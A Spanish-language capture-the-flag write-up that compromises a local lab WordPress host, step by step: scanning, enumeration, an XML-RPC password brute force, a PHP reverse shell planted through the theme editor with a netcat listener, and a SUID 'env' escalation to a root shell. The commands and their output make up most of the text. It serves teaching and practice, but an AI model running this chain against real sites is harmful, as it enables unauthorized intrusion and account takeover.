¿Qué veremos en esta máquina?

aprenderemos sobre reconocimiento de red, enumeración de WordPress, detección de vulnerabilidades y ataques de fuerza bruta.

Reconocimiento

Escaneo con Nmap

Comando ejecutado:

nmap -sV -Pn 172.17.0.2

-sV → Nos permite identificar el nombre y la versión del servicio en ejecución.

-Pn → Le indica a Nmap que no realice un ping para verificar si el host está en línea, asumiendo directamente que está activo.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-07 19:30 UTC
Nmap scan report for 172.17.0.2
Host is up (0.00018s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=9/7%OT=80%CT=1%CU=31891%PV=Y%DS=1%DC=D%G=Y%M=0242AC
OS:%TM=66DCAA00%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10C%TI=Z%CI=Z%II
OS:=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7
OS:%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7C70%W2=7C70%W3=7C70%W4=7C70%W5=7C70%
OS:W6=7C70)ECN(R=Y%DF=Y%T=40%W=7D78%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=S)

Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.18 ms 172.17.0.2

el unico puerto abierto es el 80 con un apache levantado.

Fuzzing con gobuster

comando

gobuster dir -t 15 -u http://172.17.0.2/ -w  /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php,py,sh,txt,html,js

-t 15→ Esta opción especifica el número de hilos (threads) que se utilizarán para realizar la búsqueda.

-w→ especifica la ruta del archivo de lista de palabras que se utilizará para la búsqueda

-x→ Esta opción especifica las extensiones de archivo que se añadirán a los nombres de archivo y directorio de la lista de palabras durante la búsqueda.

Resultado

wordpress

Como resultado de este escaneo encontramos que se esta ejecutando un wordpres

Enumeración con WPScan

Comando

wpscan -e --url http://172.17.0.2/ --api-token {LLave_api}

-e → Le estamos pidiendo a la herramienta que enumere la web, que busque usuario, plugins, temas.

Resultado

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://172.17.0.2/wordpress/ [172.17.0.2]
[+] Started: Sat Sep  7 22:03:40 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.57 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://172.17.0.2/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://172.17.0.2/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://172.17.0.2/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://172.17.0.2/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

Fingerprinting the version - Time: 00:00:03 <=====================================================> (702 / 702) 100.00% Time: 00:00:03
[i] The WordPress version could not be detected.

[+] WordPress theme in use: twentytwentytwo
 | Location: http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/
 | Last Updated: 2024-07-16T00:00:00.000Z
 | Readme: http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/readme.txt
 | [!] The version is out of date, the latest version is 1.8
 | Style URL: http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/style.css?ver=1.6
 | Style Name: Twenty Twenty-Two
 | Style URI: https://wordpress.org/themes/twentytwentytwo/
 | Description: Built on a solidly designed foundation, Twenty Twenty-Two embraces the idea that everyone deserves a...

Se identificaron los siguientes hallazgos en WordPress:

  • XML-RPC habilitado: Puede ser explotado para ataques de fuerza bruta y denegación de servicio.

  • Directorio de uploads con listing habilitado: Permite acceso a archivos subidos.

  • WP-Cron habilitado: Puede ser utilizado en ataques DDoS.

  • Tema activo: Twenty Twenty-Two (versión desactualizada: 1.6, última versión: 1.8).

Busqueda de plugins con Nuclei

Comando

nuclei -u http://172.17.0.2/wordpress/ -itags fuzz -t /home/davy/.local/nuclei-templates/http/fuzzing/wordpress-plugins-detect.yaml

resultado

[wordpress-plugins-detect] [http] [info] http://172.17.0.2/wordpress/wp-content/plugins/akismet/readme.txt ["Akismet Anti-spam: Spam Protection","5.3.1"] [pluginSlug="akismet"]
[wordpress-plugins-detect] [http] [info] http://172.17.0.2/wordpress/wp-content/plugins/theme-editor/readme.txt ["Theme Editor","2.8"] [pluginSlug="theme-editor"]
  • Plugins detectados:

    • Akismet (versión 5.3.1)

    • Theme Editor (versión 2.8)

Ataque de Fuerza Bruta

Comando ejecutado:

wpscan --url http://172.17.0.2/wordpress -U /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt --api-token API_KEY

Resultado:

[i] User(s) Identified:

[+] mario
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://172.17.0.2/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - mario / love                                                                                                              
Trying mario / love Time: 00:00:04 <================                                              > (390 / 1399) 27.87%  ETA: ??:??:??
  • Usuario encontrado: mario

  • Credenciales comprometidas: mario:love

Explotación

accedo al WordPress con las credenciales obtenidas y modificó el archivo index.php en el editor de temas, insertando la reverse shell de pentestmonky.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

Recepción de la shell:

nc -lnvp 4444

Empezamos a enumerar el sistema.

Comando uname -a

Resultado Linux 56ed81dead67 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64 GNU/Linux

Esta maquina no cuenta con mas usuarios que el root y no esta disponible el comando sudo

Verifico permisos SUID

Comando

find / -perm -4000 2>/dev/null 

Resultados

/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/env
/usr/bin/mount
/usr/bin/su
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chsh

Se identificó un vector de escalada de privilegios a través de env:

/usr/bin/env /bin/sh -p

Este comando permitió obtener una shell con privilegios elevados.